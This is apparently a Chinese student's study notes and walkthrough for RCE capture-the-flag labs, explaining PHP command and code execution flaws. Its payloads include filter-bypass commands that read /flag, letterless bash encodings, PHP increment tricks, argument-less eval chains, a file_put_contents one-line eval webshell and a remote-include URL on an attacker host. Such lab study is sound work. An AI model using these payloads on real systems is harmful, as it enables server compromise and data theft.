RCEeeee
rce之前就经常会碰到 但是一直没有系统的从开头学
https://127.0.0.1/RCE/RCE-labs-main/Level%201/index.php(本地搭建的靶场 不建议 环境是有问题的没法进行复现)
RCE | Lazzaro(比较细致的一个rce总结)
https://github.com/ProbiusOfficial/bashFuck ( 针对Linux终端 bashshell 的无字母命令执行的骚操作)
https://probiusofficial.github.io/bashFuck/ (在线生成工具)
RCE-labs-练习(上) - F0T0ne - 博客园 ( 靶场教程)
https://www.php.cn/php/php-superglobals.html (超级变量官方详细解释)
RCE漏洞详解及绕过总结(全面)-CSDN博客(总结绕过方法比较全面的一个)
RCE命令执行漏洞
漏洞描述
指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令
如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击
漏洞原理
其实和上面的说起来差不太多
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞
命令执行和代码执行
注意这两个的区别
命令执行指的是让操作系统去执行系统命令 它不依赖于编程语言自己本身的语法。如PHP 的 system("ls")
,就是执行 Linux 的 ls
命令。
代码执行指的是让程序语言自己去执行一段它能理解的代码。如PHP 中执行 eval($_GET['cmd'])
,你传入 echo 123;
,就是让 PHP 执行一段 PHP 代码。
项目 | 代码执行(Code Execution) | 命令执行(Command Execution) |
---|---|---|
执行对象 | 解释型语言代码(如 PHP、Python、JS 等) | 操作系统命令(如 ls , cat /flag , ping 8.8.8.8 ) |
常见函数(PHP) | eval() , assert() , create_function() 等 |
system() , exec() , shell_exec() , passthru() |
输出内容 | 代码的运行结果(如变量值、函数返回值) | 命令执行的结果输出(如目录列表、whoami) |
控制程度 | 更强,可以写 shell、执行文件、持久控制 | 依赖系统命令,有时受限制(如禁用某些命令) |
实际威胁 | 可利用语言特性读文件、写入一句话木马、反弹 shell 等 | 拿 flag、反弹 shell,但易被 WAF 限制 |
通常出现的漏洞 | 模板注入、eval 利用、反序列化、文件包含 | 命令拼接、拼写不严谨、黑名单绕过 |
1. 代码执行(Code Execution)
1 | eval($_GET['cmd']); |
你可以传:
1 | cmd=echo 1+1; |
甚至传入任意完整 PHP 代码:
1 | cmd=system('ls'); |
这其实是利用 eval 做到的“代码执行 + 命令执行”。
2. 命令执行(Command Execution)
1 | system($_GET['cmd']); |
你只能传 系统命令,如:
1 | cmd=ls |
代码执行是一种能力,命令执行是你想要达到的效果之一。
危险函数利用
system
passthru
exec
需要注意的一点exec要有echo才有回显
RCE-Labs
Level 0
1 | $code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;"; |
首先定义了两个变量code和bash 然后通过eval执行code的内容 通过system执行base的内容
先来看 $code 和 eval() 这两个语句
$code 是一个字符串变量
其中包含着两个语句
一个是 include(flag.php);, 将 flag.php 的文件内容包含到本文件内容中, 并执行
但是这里并不能看出 flag.php 内容是什么
大概是定义了 $flag 这个变量
另一个语句 echo ‘This will get the flag by eval PHP code: ‘.$flag;
首先是 echo , 这个语法的作用是把后面的字符输出到前端页面
在 echo 后跟着是 ‘This will get the flag by eval PHP code: ‘.$flag; 字符串
把他们进行拆分一下
‘This will get the flag by eval PHP code: ‘
这个是个常规的字符串
这里有个.
这个点是 PHP 中的字符串连接符, 将字符串与其他变量进行连接
并自动进行转换
$flag
这里的 \ 对 $flag 变量进行转义, 使 $flag 变量在这里是 $flag
而非这个变量的值
接着 $code 变量会被传递给 eval() 执行
即eval() 会执行如下两个指令
1 | include('flag.php'); |
这里注意的是, 虽然 $code 变量中 $flag 被转义了, 成为了 $flag
但是在 eval() 中, $flag 就是 $flag, 咩有被转义, 所以 echo 输出的是 $flag 的值
接着来看 $bash 和 system() 这两个语句
与 eval() 不同的是 system() 执行的是系统命令行的 Bash 指令, 而非 PHP 语句
所以 bash 变量中, 先用 echo 输出提示, 然后再使用 cat /flag 获取根目录下flag文件中的内容
或许这里会有疑问
echo 不是 PHP 的语法吗, system 执行的不是 Bash 命令吗, 为什么这里可以用
其实只是刚好同名罢了, echo 在 PHP 和 Bash 中都存在
最后在通过 highlight_file(FILE);
使 index.php 的代码高光显示, 并自然而然地衔接在上文输出之后
Level 1
1 |
|
简单的一句话木马
将 POST 请求的 a
的值传入给 eval()
执行
直接传参a=echo $flag
Level 2
1 |
|
回调函数
回调函数 是作为参数传递给另一个函数,并在该函数内部被调用的函数。在 PHP 中,函数名本身是可以当作字符串变量使用的。
先来分析源码:
1 | isset($_GET['action']) ? start($_GET['action']) : ''; |
是一个if语句的判断
首先传递进来的action的参数 当问号后面的条件成立时 就会执行start($_GET[‘action’])这个语句 调用start函数
如果问号后面的语句为假 执行的就是’’单引号里面是空的 就是什么都不干
所以重点就是那个start函数了
1 | function start($act){ |
首先执行了 get_fun
这个函数, 并把函数的返回值赋予给 random_func
这个变量
然后分析getfun这个方法 有个字符串数组fun_list
然后if判断session里有没有random_func
没有的话执行这个语句 $_SESSION[‘random_func’] = $func_list[array_rand($func_list)];
主要看 array_rand($func_list), 它的意思是随机返回一个 func_list 这个数组的一个键值(即索引)
总结来说就是把 func_list 随机一个成员赋值给 SESSION的 random_func 字段
1 | $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']); |
重点看 preg_replace(‘/_/‘, ‘-‘, $SESSION[‘random_func’]); 函数
第一个参数 ‘//‘ 这是正则表达式, 表示要检索的字符串
/ 是正则表达式的分隔符, 常用 /,也可以用 ~ # 等
_ 表示要匹配的字面字符下划线
第二个参数 ’ -’ 表示要替换为的目标字符串
第三个参数 $_SESSION[‘random_func’], 即被操作的字符串
总结来说就是把$_SESSION[‘random_func’]里的下划线变成-
最后将 preg_replace
替换后的 $_SESSION['random_func']
赋值给 url_fucn
变量
回到start函数
random_func
得到 get_fun
函数的返回值(即func_list
数组中随机一个函数方法)
1:判断传入的参数 act (即GET请求传入的action参数) 是不是 r
是的话, 就执行 session_unset(), session_destroy()
即清除当前 Session 的所有字段和删除当前Session对话
2:判断 act 是不是 submit
如果是的话, 就是把 POST 请求的 content 参数交给 user_content 变量
然后执行 hello_ctf 函数, 并把 random_func, user_content 两个变量作为参数传递进去
然后就进入到hello_ctf函数中
1 | function hello_ctf($function, $content){ |
接着进入 hello_ctf 函数
首先把全局变量 flag 声明进这个函数中, 使这个函数调用的 flag 变量为全局变量 flag
然后对传进的参数 function(即 get_fun() 函数随机选择的函数) 和 contect(即 POST 请求的内容) 进行拼接字符串
然后把拼接后的值传递给 code 变量
如 function 为 eval, contect 为 “ls”
那么 code 就是 eval(“ls”);
然后输出 code 变量
并且使用 eval($code); 执行 code 变量中的代码
总结一下就是
GET 请求中, 通过调节action的值, 是否等于 r, 可以刷新 Session 中的 random_func 的值, 然后如果action的值等于 submit 时, 就用 random_func 中的函数, 以 POST 请求中的 content 参数作为参数, 被 eval() 执行
并且整个代码看下来, 似乎全局变量 $flag 就是我们需要获取的, 那我们的目的就是通过 GET 请求拿到我们想要的 random_func, 然后参数构造 POST 请求传入 content, 从而输出全局变量 $flag
Level 3
1 |
|
post传参执行系统命令比如ls cat就可以了
Level 4
1 |
|
定义了一个hello_server函数
就是把ip这个参数代入执行ping命令
注释部分其实提示了, 要使用 &&
, ||
, &
, ;
符号来衔接新的 Shell 语句
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo “Directory not found”
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo “This will run immediately.”
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo “Hello” ; echo “World”
|
符号, 可以称为 管道符
它的作用是将一个命令的输出传递给另一个命令作为输入的符号
因为 cat 接受到输入后, 对显示文件的作用不影响, 所以这里也可以使用它来获取flag
可以记一下 之前都没有很系统的记
1 | ?ip=1.1.1.1&& |
Level 5
1 |
|
首先是一个判断语句, 判断的条件是 preg_match 函数的结果
在这里 preg_match 有两个参数
一个是 “/flag/“, 一个是函数的 cmd 参数
其作用就是检测 cmd 中是否有 flag 字符
或许会问, 为什么是 flag, 两个 / 去哪了
其实前面 重点看 preg_replace(‘/_/‘, ‘-‘, $_SESSION[‘random_func’]); 函数 就提到了
/ /是 PHP 中 正则表达式 的定界符, 用来表示正则表达式的区间
而判断语句内是die 函数
这个函数是用于停止整个PHP脚本, 并且返回其内容
总的来说就是一个简单过滤 你输入里面不能有flag
来看一下官方文档
通配符
编码/进制
1 | cat "$(echo 'L2ZsYWc=' | base64 -d)" |
特殊变量:
空字符
简单来说就是使用引号包裹的字符(或者什么都包裹), 在运行时会除去引号运行
1
2
3?cmd=cat /f''lag
?cmd=cat /f'l'ag
AI写代码12- 即上述两个
Payload
都是执行cat /flag
- 即上述两个
反斜杠
?cmd=ca\t /fla\g
Level 6
1 |
|
跟上面的匹配很像 就只是改成了匹配这一堆
小写 b 到 z (没有小写 a, 这是个突破口)
大写 A 到 Z
_@#%^&*:{}-+<>”|`;[] 这些符号(注意到了吗, 没有什么符号?)
还有数字可以使用
可以利用的字符只有 数字, 小写a 和 ?, 还有两种斜杆
?
可以匹配任何一个单字符
可以通过 /??a?
对应 /flag
但是 ?作为通配符只在路径中有作用 不用考虑?a?来匹配cat
我们要如何读取文件呢
cat
虽说是命令, 但是其实也就是个程序- 只需要找到其路径, 直接通过路径访问就可以了
读取文件的函数
来看这个
然后你会想到这个题可以用数字 数字没有过滤
进行base64编码
可以发现,我们可以使用一个字母 a 和数字,此时:
1 | bash-5.1# echo /???/?a? |
所以本题可用的payload:
1 | /???/?a??64 /??a? # 使用 /bin/base64 /flag |
在centos7中可以直接用/来执行 详见极限命令执行1
Level 7
1 |
|
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
代码提示内容如上
限制flag可以使用通配符绕过 限制空格的话有以下几种方法
$IFS
在终端中, 其的默认值是空格、制表符和换行符
1 | ?cmd=cat${IFS}/fl""ag |
重定向
1 | ?cmd=cat</fl""ag |
扩展:过滤 /
1 | ${HOME:0:1}来替代"/": |
花括号扩展-Shell命令
生成一系列字符串或路径
{a,b,c} 扩展为 a、b、c
{1..5} 扩展为 1 2 3 4 5
{a..z} 扩展为从 a 到 z 的所有字母
还可以组合使用
file_{1..3}.txt 扩展为 file_1.txt file_2.txt file_3.txt
echo {A,B}{1,2} 会输出 A1 A2 B1 B2
绕过的payload就比较简单了 上面的几种都可以
Level 8
啊这个就是重定向的一个例子了
1 |
|
文件描述符
Linux 的 <
>
其实是对“文件描述符(0、1、2)”的简写,方便我们把输入输出重定向到文件或设备。
常见使用方法示例
好的我们回到这道题
现在没有waf限制了 但是同时我们的输出无法显示了
所以我们现在要解决的就是如何把标准输出给显示出来 而不是让他输出到/dev/null
网上说的绕过方法就是加个分号把后面的重定向截断。。怎么这么简单粗暴
还有一种方法是反弹 之后再学
Level 9(RCE + Bash 特性绕过题)
1 |
|
源码提示叽里咕噜说了一大堆其实就是告诉你你现在可以使用bash特有的语法了
https://github.com/ProbiusOfficial/bashFuck
https://probiusofficial.github.io/bashFuck/
贴一下这两个链接
Level 10
RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)
这关是bash的一个新的特性
在bash中,支持二进制的表示整数的形式:$((2#binary))
。
$((2#10011010)) -> 154
拆开来分析一下
首先是 $((...))
在 bash
中 $((...))
是 算术扩展(Arithmetic Expansion) 的语法
比如
1 | echo $((3 + 5)) # 输出 8 |
#binary 是 进制表示法(Base Notation), 表示把后面的二进制串, 转化为十进制
同理 # 前面的 2 也可以是 8, 16, 36, 如下
1 | echo $((8#72)) # 输出 58 |
这时候问题来了 这里不是过滤了2吗 怎么绕过waf呢
其实只要在嵌套一层
$((...))
就可以可以只使用1和<通过左移运算得到2
如
$((1<<1))
所以
$((2#binary))
可以写为$(($((1<<1))#binaryStr))
真是涉及到这种进制转换就看的脑子好疼 这关研究完我要去练车了。。。。。。。。。。。。。。。。
然后把 $(($((1<<1))#binaryStr))
套入到八进制转义中(先到八进制)
注意的是, 这里的 $((2#binary))
不是直接转为八进制数, 而是转为十进制的数, 而这个十进制数当做八进制使用, 转换步骤详细如下
1 | ls 转为八进制 -> \154\163 |
$’$(($((1<<1))#10011010))$(($((1<<1))#10100011))’
但是这个payload没办法执行结果哦
因为#这个符号在get中有特殊含义(之前在哪道题学到过 这个是个锚点)
所以要进行URL编码才能执行成功
一个字符对应一段编码,就有一个#,所以cat /flag编码后有9个#
Level 11(数字1的特殊变量替换)
bash环境下
1 |
|
这一关可以使用的数字只有 0
没有了1怎么使用二进制
这个时候就需要使用间接扩展特性中的$
基于bash扩展运算的优先级,第一个#是功能作用第二个#作为变量名称 - 0作为字符串长度为1.
1 | bash-5.1# echo ${##} |
$0<<<$0<<<$'\$(($(($<<$))#$00$$0$))\$(($(($<<$))#$000$$$$))\$(($(($<<$))#$00$$0$$))\$(($(($<<$))#$00$0000))\$(($(($<<$))#$00$0$$))\$(($(($<<$))#$000$$$$))\$(($(($<<$))#$000$$0$))\$(($(($<<$))#$0$00$00))\$(($(($<<$))#$0$000))\$(($(($<<$))#$$$00$))\$(($(($<<$))#$00$00$0))\$(($(($<<$))#$00$$0$0))\$(($(($<<$))#$000$$0$))\$(($(($<<$))#$00$00$$))'
Level 12(数字0的特殊变量替换)
bash环境下
这一关没有源码
他的环境不是php了而是 python flask
WAF:[A-Za-z0-9”%*+,-./:;=>?@[]^`|&_~]” 不过看网上的有给waf
我的靶场环境有问题
在这一关数字一个都不能用
不过以下几个符号还是可以使用的
1 | ! # $ ' ( ) < \ { } |
这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值
如
1 | sh-5.1# a=0 |
即 ${!a} 就相当于 $0
这样就找到 $0 代替 bash 的平替了
然后 为传递给当前脚本的参数个数, 也就是 0
Level 13(取反)
1 |
|
取反绕过 直接工具出payload
GET 传递参数, 需要进行URL编码
Level 14(7字符RCE)
1 |
|
使用strlen检测命令的长度 只允许命令长度小于8
通配符绕过 压缩一下字符长度就可以了
Level 15(5字符限制RCE-文件名拼接反弹Shell命令)
1 |
|
创建和清空沙盒 好像做过这种题 (hitcon2017的ssrfme)
- HITCON2017 babyfirst-revenge(这题是这关的原型)
先来分析源码
首先echo $_SERVER[‘REMOTE_ADDR’].这个是获取我们的ip
然后创建了一个沙盒路径 之后根据我们的ip 和“orange”进行一个拼接然后md5编码
@mkdir($sandbox);根据上文的 $sandbox
,创建一个文件夹
@chdir($sandbox);进入该文件夹‘
然后就是判断 GET 请求是否传入cmd参数, 如果有的话就是否小于等于5个字符 如果是的话, 就使用 exec
执行命令而如果 GET 请求传入 reset
参数就执行 '/bin/rm -rf ' . $sandbox
, 删除用户文件夹、
然后来看
在反弹Shell之前, 看一些 Linux 终端的小技巧
绕过长度限制写多条命令想到的就是把命令放到文件去执行 这里就是如何写文件
‘>’1没有单引号 尖括号1可以创建一个名为1的文件
ls -t根据文件最后的修改时间排序, 越晚修改的越前面
如果没有 -t 参数的话, 会默认按照字典顺序排列
还有这些排序方式
ls -S 按文件大小排序
ls -r 反转排序(从大到小)
ls -v 按自然顺序排序(file1 file2 file10 而不是 file1 file10 file2)
ls –sort=extension 按扩展名排序
sh 1可以把1文件中的内容当作命令执行
\可以用来拼接命令
尝试一下
在回车前打一个\
, 就可以在下一行接着输入命令衔接上一行
>>
可以使前面文本追加到后面的文件中
改成> 就是覆盖了
命令的结果可以作为输入写进去 来试一下
所以思路就是
准备好反弹Shell命令
, 和ls -t>a
命令
拆分反弹Shell命令
, 设计好顺序, 使用>
创建各个分块命名的文件
然后执行 ls -t>a
命令
利用ls -t,,>实现短命令执行
有了思路之后问题就是怎么排序让他们按序排列了
把这辈子能想到的排序都试了一次了
这样构造是可以的
拼接反弹shell的命令
放置了 等我再好好学学反弹shell
Level 16(4字符)
Level 17(命令执行)
1 |
|
图片看着清楚一点
PHP命令执行函数
Leve 18(环境变量注入)
如何利用环境变量注入执行任意命令 - h0cksr - 博客园
根本看不懂哈哈。
Level 19(文件写入导致的RCE)
文件写入漏洞是指攻击者通过未验证的用户输入,控制文件的保存路径和内容,从而实现恶意操作。这种漏洞可能进一步被利用为远程代码执行(RCE),对系统造成严重威胁。
1 |
|
file_put_contents将数据写入文件
PHP: file_put_contents - Manual
1 |
|
由于file_put_contents
函数完全可控
存在两个利用点:
任意文件写入
可以写入一句话木马到自定义文件访问
1 | ?c='shell.php','<?php+@eval($_POST["cmd"]);?>');// |
然后post传参给a执行系统system命令
直接代码执行
通过构造参数闭合原函数调用,并追加任意PHP代码
Level 20(文件上传)
没有任何waf的文件上传
Level 21(文件包含)
1 |
|
ProbiusOfficial/PHPinclude-labs: 【Hello-CTF labs】PHP文件包含类靶场,各类协议的讲解以及基于协议的LFI/RFI
文件包含 回头也要重新学 🐎一下
源码:
支持远程文件包含(RFI)
支持本地文件包含(LFI)
支持 PHP 伪协议(如 php://input, php://filter)
类型 | 函数 | 举例 | 说明 |
---|---|---|---|
LFI(本地文件包含) | include() 、require() 、include_once() 、require_once() |
?file=../../etc/passwd |
只能包含本地文件 |
RFI(远程文件包含) | 仅当 allow_url_include = On |
?file=http://attacker/shell.txt |
可以包含远程代码 |
你的输入并不是直接作为 include 的参数传入,而是作为一部分被拼接进了一个字符串里,然后 include。
写法 | 能否控制完整路径 | 可否远程包含 | 可否利用伪协议 | 危险等级 |
---|---|---|---|---|
include($_GET['file']) |
✅ 是 | ✅ 是(取决于配置) | ✅ 是 | 🔥 高 |
include(".$code."); |
❌ 否(被前后拼接限制) | ❌ 否 | ❌ 否 | 🟡 中等偏低 |
include($_GET['file'])
:用户的输入就是整个参数。
include(".$code.");
:用户的输入只是字符串的一部分,你无法控制整个 include()
。
Level 22(PHP 特性利用-动态调用)
1 |
|
变量函数语法:
若变量后跟随 ()
,PHP 会将该变量的值作为函数名执行。例如:
1 | // 写法1:直接变量调用 |
当代码中存在 $_GET['a']($_GET['b'])
时:
$_GET['a']
的值会被解析为 函数名
$_GET['b']
的值会被解析为 函数的参数
?a=system&b=cat /flag //payload
Level 23(自增特性)
1 |
|
放代码块里有点不好看 拿出来吧
— HelloCTF - RCE靶场 : PHP 特性 - 自增 —
可用字符 :! $ ‘ ( ) + , . / ; = [ ] _
自增通过下面几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。_
数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$ = 1; var_dump($); var_dump($.’’);
这将会输出:int(1) string(1) “1”
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].’’ 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。
解释一下这一点
PHP 中 .
是字符串拼接符号:
1 | echo 'a' . 'b'; // 输出 ab |
如果拼接时遇到非字符串,比如整数、数组,PHP 会尝试自动转为字符串。
1 | $_ = 1; echo $_ . ''; // 输出 1(因为 1 被转为字符串) |
利用这个特性:
1 | php复制编辑$_ = ([].''); // 结果是 "Array" |
用于构造特定字符 "A"
、"r"
、"s"
等,再通过 ++
拼接出完整函数名
字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = “Hello-CTF”;var_dump($[0]);
这将会输出 string(1) “H”
所以在 $ = ([].’’)[0]; var_dump($_); 你会得到输出:string(1) “A”
解释:
1 | $s = 'ABC'; |
可以从字符串中提取指定字符:
1 | php复制编辑$_ = ([].''); // → "Array" |
配合 ++
得到下一个字符,例如 "r"++ = "s"
自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $++ 或者 ++$。
PHP会将其转换为ASCII码当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。
直观一点 A++ 将会输出 B,Z++ 将会输出 AA。
区分前置自增和后置自增:++的位置决定语句的执行顺序,++在前面时会先进行自增操作。
$_ = ([].’’)[0]; 在前面时输出B,后面时输出A。
PHP 支持对字符串做自增:
1 | $a = 'A'; $a++; echo $a; // B |
支持多字符:
1 |
|
所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$=(/.)[‘’==’‘];$++;$__ = $++;$_ = $.$__;$++;$++;$++;$__ = $.$++.$++;$_ = $;$__ =’‘;$__.=$;$$__;
&=system
&_=ls
自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/
要进行一下url编码
来看一下这个payload详细拆分
基于 PHP 自增、自定义变量、变量变量、类型转换 等特性,构造的 WAF 绕过 + RCE 执行链
1 | $_ = (_/_._)[''=='_']; // $_ = 'A'; |
1. $_ = (_/_._)[''=='_'];
_ / _._
会触发一个错误(除以空对象),但这段不是重点;
(/.)[‘’==’‘]中
‘’]==’_’是
false,即
0;
所以相当于
(任意出错)[0],PHP中此表达式返回
“A”`(数组强转字符串,默认起始字符是 ‘A’);
2.$_++;
PHP 的字符自增规则:
‘A’++=
‘B’`
‘Z’++=
‘AA’`
3.$__ = $_++;
等价于:
1 | $__ = $_; // $__ = 'B' |
$$__['__']($$__['_']);
这一行非常关键!
$__ = '_CBFG'
$$__
等价于$_CBFG
- 所以是:
1 | $_CBFG['__']($_CBFG['_']); |
CBFG
是在很多 payload 示例里一个 字符偏移最短、拼接容易、不触发 WAF 的选择。
Level 24(无参数RCE)
https://www.php.cn/php/php-superglobals.html
1 |
|
根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行
存几个博客慢慢啃
https://blog.csdn.net/Manuffer/article/details/120738755
PHP 超级全局变量 - php完全自学手册 - php中文网手册
在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
什么叫无法传入参数的情况
通常来说如果在PHP中有一个语句
1 | eval($_POST['cmd']); |
我们就可以利用cmd这个参数来getshell。
但是很可惜的是cmd这个参数被做了过滤。
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['cmd'])) { |
变成了这样后,如果我们使用参数就会出现问题,正则校验是无法通过的。
形式是函数调用,如 A();
、A(B());
、A(B(C()));
(不允许参数!)
这些合法调用全部被 preg_replace()
删除后,结果必须恰好是 ';'
所以你只能构造:纯函数嵌套调用 + 一个末尾分号
PHP中预定义了几个超级全局变量(superglobals) ,这意味着它们在一个脚本的全部作用域中都可用。 你不需要特别说明,就可以在函数及类中使用。
PHP 超级全局变量列表:
$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
常见的绕过方法
1、getallheaders()
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,但这个有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
测试代码
1 |
|
可以看到,所有的头部信息都已经作为了一个数组打印了出来,在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?所以我们需要选择一条出来然后就执行它,这里就需要用到php
中操纵数组的函数了,这里常见的是利用end()
函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出值而不会取出键,所以说键名随便取就行:
大概就是这样
然后把var_dump改成eval就可以实现任意php代码的代码执行了
2、get_defined_vars()
getallheaders()是有局限性的,因为如果中间件不是
apache的话,它就用不了了,有一种更为普遍的方法get_defined_vars()
这个函数是返回由已经定义变量所组成的数组。
这里我们就需要先将二维数组转换为一维数组,这里我们用到current()
函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数
这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用end()
函数以字符串的形式取出最后的值,然后直接eval
执行就行了
?code=eval(end(current(get_defined_vars())));&xiubi=system(‘whoami’);
3、session_id()
种方法和前面的也差不太多,这种方法简单来说就是把恶意代码写到COOKIE
的PHPSESSID
中,然后利用session_id()
这个函数去读取它,返回一个字符串,然后我们就可以用eval
去直接执行了,这里有一点要注意的就是session_id()
要开启session
才能用,所以先说session_start()
必须执行 session_start()
,否则 session_id 无法生效,PHP 也不会加载 session 文件。
当调用 session_start()
时,PHP 会:
根据请求中的 PHPSESSID
(通常来自 Cookie)查找对应的 Session 文件(默认在 /tmp/sess_XXXXX
)。
加载内容,并自动将其反序列化到 $_SESSION
数组中。
步骤 | 作用 |
---|---|
设置 PHPSESSID | 指定服务端读取的 Session 文件 |
写入恶意 Session 内容 | 在服务端 sess_XXXX 文件中植入 payload |
调用 session_start() |
PHP 自动加载对应 Session 文件内容进 $_SESSION |
利用 eval() 或 assert() |
触发执行恶意代码 |
PHPSESSIID
中只能有A-Z a-z 0-9
,-
,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin
我的环境显示不出
例题 GXYCTF 2019禁止套娃
回到探姬的靶场来看
payload:
1 | ?code=var_dump(scandir(current(localeconv()))); |
它最终的意图是:输出当前 locale(区域设置)目录下的文件列表。
scandir功能是返回目录下的文件和目录名 比如说scandir(“some/path”) 会列出some/path目录下的所有文件
current会返回数组的当前元素
最里层是localeconv:返回当前地区格式信息的关联数组,包含诸如小数点、千分位符、货币符号等。
逐层执行顺序如下:
localeconv()
返回一个数组current(...)
取这个数组的第一个值,比如"."
(小数点字符)scandir(...)
试图列出该目录下的内容,例如scandir('.')
var_dump(...)
输出返回的文件列表数组?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));
Level 25(取反绕过)
PHP-inversion Payload Generator
工具
Level 26(无字母数字的代码执行)
1 |
|
CTF-SHOW
RCE挑战1
1 |
|
()会被替换成 “括号”,导致无法直接调用函数,例如不能用
phpinfo()`。
.
会被替换成 “点”,导致不能进行字符串拼接或调用方法(如 $a->b()
中的 ->
需要 .
拼接)。
PHP 支持用反引号执行命令
1 | echo `cat /flag`; |
匹配的时候用f*
RCE挑战2
1 |
|
还剩下这些东西’ () + , . ; = [] _
1 | $_=''.[]; |
1 | $_=''.[];//$_ = 'Array'; |
RCE挑战3
1 |
|
多了长度为105的限制 但是可以使用0和1
1 | $_=(0/0)._; |
ppt写的比这里详细
完结撒花了
极限命令执行1
centos7的环境是可以直接使用/执行文件的
1 |
|
可以看到a没有被禁用 用?匹配就可以了 可以看level6那 考察的是通配符绕过
极限命令执行2
1 |
|
这里要写脚本看看过滤了什么
不过我感觉用爆破也是一样的
可以试一下